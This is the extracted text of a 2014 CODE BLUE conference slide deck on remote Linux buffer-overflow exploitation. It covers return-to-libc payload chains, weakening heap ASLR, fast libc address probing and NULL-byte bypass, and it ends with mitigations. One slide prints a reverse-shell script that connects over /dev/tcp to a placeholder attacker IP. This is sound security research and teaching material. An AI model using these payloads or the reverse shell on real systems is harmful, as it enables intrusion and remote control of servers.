50
Various tricks for remote linux exploits wh1ant (Author A.K.A) SeokHa Lee (Author name) [email protected] http://wh1ant.kr CODE BLUE 2014

various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Embed Size (px)

DESCRIPTION

Modern operating systems include hardened security mechanisms to block exploit attempts. ASLR and NX (DEP) are two examples of the mechanisms that are widely implemented for the sake of security. However, there exists ways to bypass such protections by leveraging advanced exploitation techniques. It becomes harder to achieve code execution when the exploitation originates from a remote location, such as when the attack originates from a client, targeting server daemons. In such cases it is harder to find out the context information of target systems and, therefore, harder to achieve code execution. Knowledge on the memory layout of the targeted process is a crucial piece of the puzzle in developing an exploit, but it is harder to figure out when the exploit attempt is performed remotely. Recently, there have been techniques to leverage information disclosure (memory leak) vulnerabilities to figure out where specific library modules are loaded in the memory layout space, and such classes of vulnerabilities have been proven to be useful to bypass ASLR. However, there is also a different way of figuring out the memory layout of a process running in a remote environment. This method involves probing for valid addresses in target remote process. In a Linux environment, forked child processes will inherit already randomized memory layout from the parent process. Thus every client connection made to server daemons will share the same memory layout. The memory layout randomization is only done during the startup of the parent service process, and not randomized again when it is forking a child process to handle client connections. Due to the inheritance of child processes, it is possible to figure out a small piece of different information from every connection, and these pieces can be assembled later to get the idea of a big picture of the target process's remote memory layout. Probing to see if a given address is a valid memory address in context of the target remote process and assembling such information together, an attacker can figure out where the libc library is loaded on the memory, thus allowing exploits to succeed further in code execution. One might call it brute force, but with a smart brute forcing strategy, the number of minimal required attempts are significantly reduced to less than 10 in usual cases. In this talk, we will be talking about how it is possible to probe for memory layout space utilizing a piece of code to put the target in a blocked state, and to achieve stable code execution in remote exploit attempt scenarios using such information, as well as other tricks that are often used in remote exploit development in the Linux environment. http://codeblue.jp/en-speaker.html#SeokHaLee

Citation preview

Page 1: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Various tricks for remote linux exploits

wh1ant (Author A.K.A) SeokHa Lee (Author name) [email protected]

http://wh1ant.kr

CODE BLUE 2014

Page 2: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Acknowledgements

The author would like to thank to A.K.A trigger for reviewing this article :)

Page 3: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

About me Name: SeokHa Lee A.K.A: wh1ant (white ant or ant) wh1ant on facebook

I’m A member of ‘WISEGUYS' team, which is a hacking crew in South Korea. I have found multiple vulnerabilities. talked about security-related topics in Korean conferences. various CTF competitions in Korea as challenge-maker with exploitation challenges.

http://wh1ant.kr

http://hackerschool.org

Page 4: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

About this talk Remote buffer overflow on linux

• Create file in the server • NULL byte bypass • Neutralize some of heap ASLR • Fast searching libc location

Page 5: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Exploit techniques •  Code injection - Must be NX disable •  RTL (Return-To-Libc) - Must be ASLR disable •  ROP (Return Oriented Programming) - There must be gadgets available. - Too long payload

Page 6: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

How to find address? •  Brute force •  Memory disclosure •  use send(), write() functions

[&send()] [&exit()] [0x00000004] [&GOT] [0x00000004] [0x00000000]

Page 7: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Code and environment

int get_result(const int sock, char odd_or_even) {

char small_buf[25]; char big_buf[128]; … write(sock, "pick a number 1 or 2: ", 22); length = read(sock, big_buf, sizeof(big_buf)-1);

strcpy(small_buf, big_buf); // vulnerable code if((small_buf[0]-0x31)==odd_or_even) return 1; else return 0;

}

Fedora 18

fork-based server

$ gcc server.c –o server -fno-stack-protector

Page 8: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Attack scenario

Victim Hacker

Find libc address.

Create exploitation file.

Run.

Page 9: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Creating file with permission

1 - /tmp directory - we can use “/tmp” string in the libc library. 2 – log files which - we can use “log/log_%Y%m%d.log” string. 3 – daemon PID file which - file to check the process.

Page 10: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

What kind of functions do we use?

open(), write()

O_WRONLY == 0x1 O_CREAT == 0x40

Page 11: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Payload

[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]

Payload to create server side exploit.

Page 12: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Interesting kernel code struct file *do_filp_open(int dfd, const char *pathname, int open_flag, int mode, int acc_mode) ... if (!(open_flag & O_CREAT)) mode = 0;

/* Must never be set by userspace */ open_flag &= ~FMODE_NONOTIFY;

/* * O_SYNC is implemented as __O_SYNC|O_DSYNC. As many places only * check for O_DSYNC if the need any syncing at all we enforce it's * always set instead of having to deal with possibly weird behaviour * for malicious applications setting only __O_SYNC. */ if (open_flag & __O_SYNC) open_flag |= O_DSYNC;

if (!acc_mode) acc_mode = MAY_OPEN | ACC_MODE(open_flag);

/* O_TRUNC implies we need access checks for write permissions */ if (open_flag & O_TRUNC) acc_mode |= MAY_WRITE;

Check only 0x40 (O_CREAT)

Page 13: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Bitwise AND operation

00000000 00000000 00000000 00000000 00000000 00000000 00000000 01000000 -----------------------------------------------------------00000000 00000000 00000000 00000000

00000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 ----------------------------------------------------------- 00000000 00000000 00000000 01000000

0x40 (O_CREAT)

00000000 00000000 00000000 01000000

0x40 (O_CREAT)

0x40 (O_CREAT)

Page 14: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Create file #include <stdio.h> #include <fcntl.h>

int main(void) { close(open("test", 0x11111040, 0xfffff9ff)); return 0; }

Hex number 0x11111040 means the O_CREAT also 0xfffff9ff means octal 4777 permission. Run a program, you can see create "test" name file.

Page 15: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Failed

static inline struct file * fcheck_files(struct files_struct *files, unsigned int fd) { struct file * file = NULL; struct fdtable *fdt = files_fdtable(files);

if (fd < fdt->max_fds) file = rcu_dereference_check_fdtable(files, fdt->fd[fd]); return file; }

#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);

File descriptor maximum number over is NULL return.

Page 16: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

New test

#include <stdio.h>

int main(void) { FILE* fp=fopen("test_file", "w"); if(fp==NULL) { printf("fopen() error\n"); return -1; }

fputc(‘A’, fp); fclose(fp); return 0; }

#include <stdio.h>

FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);

Page 17: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

#include <stdio.h>

int main(void) { FILE* fp=fopen("test_file", "wHello_world"); if(fp==NULL) { printf("fopen() error\n"); return -1; }

fputc(0xffffff41, fp); fclose(fp); return 0; }

Fake code #include <stdio.h>

FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);

“answer” == append mode “wer” == write mode

“answer”

Page 18: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

fopen() function code switch (*mode) { case 'r': omode = O_RDONLY; read_write = _IO_NO_WRITES; break; case 'w': omode = O_WRONLY; oflags = O_CREAT|O_TRUNC; read_write = _IO_NO_READS; break; case 'a': omode = O_WRONLY; oflags = O_CREAT|O_APPEND; read_write = _IO_NO_READS|_IO_IS_APPENDING; break; default: __set_errno (EINVAL); return NULL; }

; ex movzx eax,BYTE PTR [eax] movsx eax,al cmp eax,0x72 ; ‘r’ check je 0x804843c

Page 19: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Payload

[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]

[&fopen()] [pop*2] [&“filename”] [&“w”] [&fputc()] [dummy] [0xffffff41] [<file pointer>]

But, how to know file pointer address?

Page 20: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Random file pointer #include <stdio.h>

int main(void) { FILE* fp;

fp=fopen("test_file", "wt");

printf("fopen(): %p\n", fp);

if(fp) fclose(fp);

return 0; }

Page 21: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

#include <stdio.h> #include <stdlib.h>

int main(void) { char* p; FILE* fp;

p=(char*)malloc(0xffffffff); fp=fopen("test_data", "w");

printf("malloc(): %p\n", p); printf("fopen(): %p\n", fp);

if(p) free(p); if(fp) fclose(fp); return 0; }

Neutralize some of heap ASLR

0xb7400468 or 0xb7500468

Page 22: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Heap structure 1/5 malloc()

brk() mmap()

allocation larger than 128 kb

__libc_malloc() -> arena_get2() -> _int_new_arena() -> new_heap() -> mmap()

__libc_malloc() -> _int_malloc() -> sysmalloc() -> mmap()

Page 23: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Heap structure 2/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { /* _int_malloc() tries to call mmap() with 0xffffffff as argument */ 2858 victim = _int_malloc(ar_ptr, bytes); 2859 if(!victim) { // checks allocation, and it fails because we cannot allocate memory with the size of 0xffffffff 2860 /* Maybe the failure is due to running out of mmapped areas. */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868  /* ... or sbrk() has failed and there is still a chance to mmap() */ /* arena_get2() also calls mmap() internally */ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);

Page 24: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Heap structure 3/5 521 new_heap(size_t size, size_t top_pad) ... 552 /* allocates memory with size 0x200000 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff 558 if (ul) 559 __munmap(p1, ul); // frees some memory allocations 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* enables read,write for size up to 0x21000 */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;

Page 25: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Heap structure 4/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { 2858 victim = _int_malloc(ar_ptr, bytes); // when fopen() call 2859 if(!victim) { 2860 /* Maybe the failure is due to running out of mmapped areas. */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868  /* ... or sbrk() has failed and there is still a chance to mmap() */ /* arena_get2() also calls mmap() internally */ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);

Page 26: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Heap structure 5/5 2246 static void* sysmalloc(INTERNAL_SIZE_T nb, mstate av) ... 2681 p = av->top; // pre-allocated memory address from mmap (0xb7400000) 2682  size = chunksize(p); // gets the size of the previous allocation // (returns approximately 0x21000) 2683 2684  /* check that one of the above allocation paths succeeded */ /* checks if previously saved size is greater than requested memory size */ 2685 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 2686 remainder_size = size - nb; 2687 remainder = chunk_at_offset(p, nb); 2688 av->top = remainder; 2689 set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); 2690 set_head(remainder, remainder_size | PREV_INUSE); 2691 check_malloced_chunk(av, p, nb); 2692 return chunk2mem(p); // returns memory address for an allocation from mmap 2693 } 2694 2695 /* catch all failure paths */ 2696 __set_errno (ENOMEM); 2697 return 0; 2698 }

Page 27: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Maps information

We can use this memory!

Page 28: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

What is ‘repeat code’?

; repeat code 1 10101010: mov eax, ebx 10101012: jmp short 10101012 10101014: mov eax, ebx

; repeat code 2 10101010: mov eax, ebx 10101012: jmp short 10101010 10101014: mov eax, ebx

Page 29: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Find ‘repeat code’

[&puts()] [0x080486ac ~ 0x08049578] [0x08048001]

start address of execution code: 0x080486ac end address of execution code : 0x08049578

Page 30: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Find ‘repeat code’ via python

Page 31: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

File pointer check payload

[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer]

/proc/net/tcp (ESTABLISHED state check)

Page 32: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

File write payload

[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer]

#!/bin/sh exec 5<>/dev/tcp/<hacker IP address>/1337 cat<&5|while read line;do $line 2>&5>&5;done

Server side exploit code

Page 33: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Fast searching libc location 1/5

$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]

Page 34: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]

Fast searching libc location 2/5

0xb7801000 – 0xb7622000 = 0x1df000 (offset)

Page 35: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

... int* p=0x0; int temp=*p; // If invalid memory address, Segmentation fault occurs ....

... int* p=0x08048000; int temp=*p; /* If this memory address exists, Segmentation fault will not occur */ ....

Fast searching libc location 3/5

Page 36: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so …

[&puts()] [&repeat code] [&exist address]

Exist address findding

Fast searching libc location 4/5

Page 37: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

[&puts()] [&repeat code] [0xb7 5~8 00101] <= Find the 6 position. [&puts()] [&repeat code] [0xb76 0~f 0101] <= Find the 5 position. [&puts()] [&repeat code] [0xb761 0~f 101] <= Find the 4 position.

6 position is 0xb7700101 address exist memory. 5 position is 0xb7630101 address exist memory. 4 position is 0xb7622101 address exist memory.

b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so …

Find address by one digit

Fast searching libc location 5/5

0xb7622101 – 0x101 = 0xb7622000

Page 38: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Memory access functions int puts(const char *s);

size_t strlen(const char *s);

int atoi(const char *nptr);

int strcmp(const char *s1, const char *s2);

int printf(const char *format, ...);

int sprintf(char *str, const char *format, ...);

Page 39: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Payload review 1/2

[&puts()] [&repeat code] [&exist libc]

1. Find libc address

[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer]

2. Find file pointer address

[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer]

3. File write

Page 40: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Payload review 2/2

[&chmod()] [pop*2] [&"log/log_%Y%m%d.log"] [0xfffff1ff] [&execl()] [&exit()] [&"log/log_%Y%m%d.log"] [&"log/log_%Y%m%d.log“]

4. File permission switch and run

Page 41: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

DEMO (http://youtu.be/LsgI-SALQJY)

Page 42: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

DEMO2

Payload division

big_buf[128]

user_email[50] user_name[50]

payload1

payload2

payload3

add esp 0x118

add esp 0x48

[&puts()] [&repeat code] [0x00049cf0]

0x00049cf0 => \xf0\x9c\x04\x00

ASCII-Armor enabled system

High address

Page 43: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

NULL byte bypass payload

[&fprintf()] [dummy] [file pointer] [&“%c”] [0x00]

How to create binary file to NULL byte bypass?

0xffffff00 => \x00\xff\xff\xff

Page 44: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Warning $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]

mm_struct -> vm_area_struct -> mm_base You can see the 0xb7801000 address

Page 45: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

521 new_heap(size_t size, size_t top_pad) ... 552 /* allocates memory with size 0x200000 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff 558 if (ul) 559 __munmap(p1, ul); // frees some memory allocations 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* enables read,write for size up to 0x21000 */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;

How to protect? 1/4

Removing heap ASLR disable code!

Page 46: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

How to protect? 2/4

NULL parameter check

#include <stdio.h> #include <fcntl.h>

void open_test(int flags) { if(0xffff0000&flags) { printf("open_test() error\n"); return; } printf("open_test() call\n"); }

int main(void) { open_test(O_WRONLY|O_CREAT); // open open_test(0xffffff41); // open failed open_test(0x00ffff41); // open failed return 0; }

open(), mmap(), mprotect(), fputc(), etc…

Page 47: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

How to protect? 3/4 if(strlen(mode)>3) // string length check { printf(“fopen() error\n”); // string length over return NULL; }

switch (*mode) { case 'r': … break; case 'w': … break; case 'a': … break; … }

Page 48: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

How to protect? 4/4

Placed in a random offset to each address.

$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7723000-b78d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b78d3000-b78d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b78d5000-b78d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b78f6000-b78f9000 rw-p 00000000 00:00 0 b78fd000-b78ff000 rw-p 00000000 00:00 0 b78ff000-b7900000 r-xp 00000000 00:00 0 [vdso] b7903000-b8822000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b7922000-b7923000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7923000-b7924000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]

Page 49: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Any Question?

Page 50: various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

Thanks for listening!